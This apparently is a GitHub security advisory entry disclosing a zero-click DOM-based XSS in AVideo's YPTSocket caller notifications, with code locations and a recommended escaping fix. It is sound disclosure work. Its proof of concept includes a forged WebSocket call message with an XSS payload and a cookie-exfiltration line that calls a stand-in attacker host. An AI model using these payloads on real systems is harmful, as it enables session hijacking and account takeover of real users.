+ "details": "## Summary\n\nThe AVideo YPTSocket plugin's caller feature renders incoming call notifications using the jQuery Toast Plugin, passing the caller's display name directly as the `heading` parameter. The toast plugin constructs the heading as raw HTML (`'<h2>' + heading + '</h2>'`) and inserts it into the DOM via jQuery's `.html()` method, which parses and executes any embedded HTML or script content. An attacker can set their display name to an XSS payload and trigger code execution on any online user's browser simply by initiating a call - no victim interaction is required beyond being connected to the WebSocket.\n\n## Details\n\nWhen a call notification arrives via WebSocket, the caller's identity is extracted from the JSON message:\n\n```javascript\n// plugin/YPTSocket/caller.js:73\nuserIdentification = json.from_identification;\n```\n\nThis value is passed directly to the jQuery Toast Plugin as the heading:\n\n```javascript\n// plugin/YPTSocket/caller.js:89\nheading: userIdentification,\n```\n\nInside the jQuery Toast Plugin, the heading is rendered as raw HTML:\n\n```javascript\n// node_modules/jquery-toast-plugin/src/jquery.toast.js:60\n// Constructs: '<h2>' + heading + '</h2>'\n// Then inserts via .html()\n```\n\njQuery's `.html()` method parses the string as HTML and executes any script-bearing elements (such as `<img onerror>`, `<svg onload>`, etc.).\n\nThere is a secondary injection vector in the same file where the full JSON message is placed inside a single-quoted `onclick` attribute:\n\n```javascript\n// plugin/YPTSocket/caller.js:121-123\nimageAndButton += '<button class=\"btn btn-danger btn-circle incomeCallBtn\" onclick=\\'hangUpCall(' + JSON.stringify(json) + ')\\'><i class=\"fas fa-phone-slash\"></i></button>';\nif (isJsonReceivingCall(json)) {\n imageAndButton += '<button class=\"btn btn-success btn-circle incomeCallBtn\" onclick=\\'acceptCall(' + JSON.stringify(json) + ')\\'><i class=\"fas fa-phone\"></i></button>';\n```\n\n`JSON.stringify(json)` is placed inside a single-quoted `onclick` attribute. If any field in `json` contains a single quote, it breaks the attribute boundary and allows attribute injection.\n\n## Proof of Concept\n\n**Important note on the attack vector:** `User::setName()` at `objects/user.php:2069` uses `strip_tags()`, so the display name IS sanitized on the server side when set through the normal UI or API. However, the WebSocket server relays call messages as-is without server-side validation of the `from_identification` field. A malicious WebSocket client can send any `from_identification` value directly over the WebSocket protocol, bypassing the server-side sanitization entirely. The attack requires a custom WebSocket client, not the normal UI.\n\n**Step 1: Connect a malicious WebSocket client and send a forged call message**\n\nThe following JavaScript connects directly to the AVideo WebSocket server and sends a call message with an XSS payload in the `from_identification` field:\n\n```javascript\n// Malicious WebSocket client - bypasses server-side strip_tags() sanitization\nconst ws = new WebSocket('wss://your-avideo-instance.com:8888');\n\nws.onopen = function() {\n // Send a forged call message with HTML in from_identification\n const payload = {\n msg: 'call',\n from_users_id: 1,\n to_users_id: VICTIM_USER_ID,\n from_identification: '<img src=x onerror=alert(document.cookie)>',\n resourceURL: 'https://your-avideo-instance.com/meet/123'\n };\n ws.send(JSON.stringify(payload));\n console.log('Forged call message sent');\n};\n```\n\n**Step 2:** When the victim receives the call notification, the toast renders `from_identification` as HTML via jQuery's `.html()`. The `<img>` tag triggers the `onerror` handler, executing JavaScript in the victim's browser context.\n\nMore advanced payload for credential exfiltration:\n\n```javascript\n// Credential exfiltration via forged WebSocket call\nconst ws = new WebSocket('wss://your-avideo-instance.com:8888');\nws.onopen = function() {\n ws.send(JSON.stringify({\n msg: 'call',\n from_users_id: 1,\n to_users_id: VICTIM_USER_ID,\n from_identification: '<img src=x onerror=\"fetch(\\'https://attacker.example.com/log?\\'+document.cookie)\">',\n resourceURL: 'https://your-avideo-instance.com/meet/123'\n }));\n};\n```\n\nReproduction steps:\n\n1. Identify the WebSocket server address for the target AVideo instance (typically port 8888).\n2. Connect a custom WebSocket client to the server.\n3. Send a call message with `from_identification` set to `<img src=x onerror=alert(document.cookie)>`.\n4. Ensure a victim user is online and connected to the WebSocket (any authenticated page with YPTSocket loaded).\n5. Observe the XSS payload executing in the victim's browser when the toast notification appears. No victim interaction is required.\n\n## Impact\n\nThis is a zero-click stored XSS vulnerability. The victim does not need to click anything - merely being connected to the WebSocket (which happens automatically on any authenticated page load) is sufficient for the attack to succeed. The attacker controls when the payload fires by initiating a call.\n\nConsequences include:\n\n- **Session hijacking**: Steal the victim's session cookie and impersonate them.\n- **Account takeover**: If the victim is an administrator, the attacker gains full platform control.\n- **Worm propagation**: The XSS payload can automatically change the victim's display name to the same payload and call other online users, creating a self-propagating worm.\n- **Keylogging and credential theft**: Inject persistent scripts that capture keystrokes on the current page.\n\nThe attack is zero-click and can target any specific online user.\n\n- **CWE**: CWE-79 (Cross-Site Scripting - DOM-based)\n\n## Recommended Fix\n\nHTML-escape the heading value before passing it to `$.toast()` at `plugin/YPTSocket/caller.js:89`:\n\n```javascript\nheading: $('<span>').text(userIdentification).html(),\n```\n\nThis uses jQuery's `.text()` to safely encode the user-controlled string, then extracts the escaped HTML via `.html()`.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
![advisory-database[bot]](https://avatars.githubusercontent.com/in/21409?v=4&size=40){kind=avatar}
0 commit comments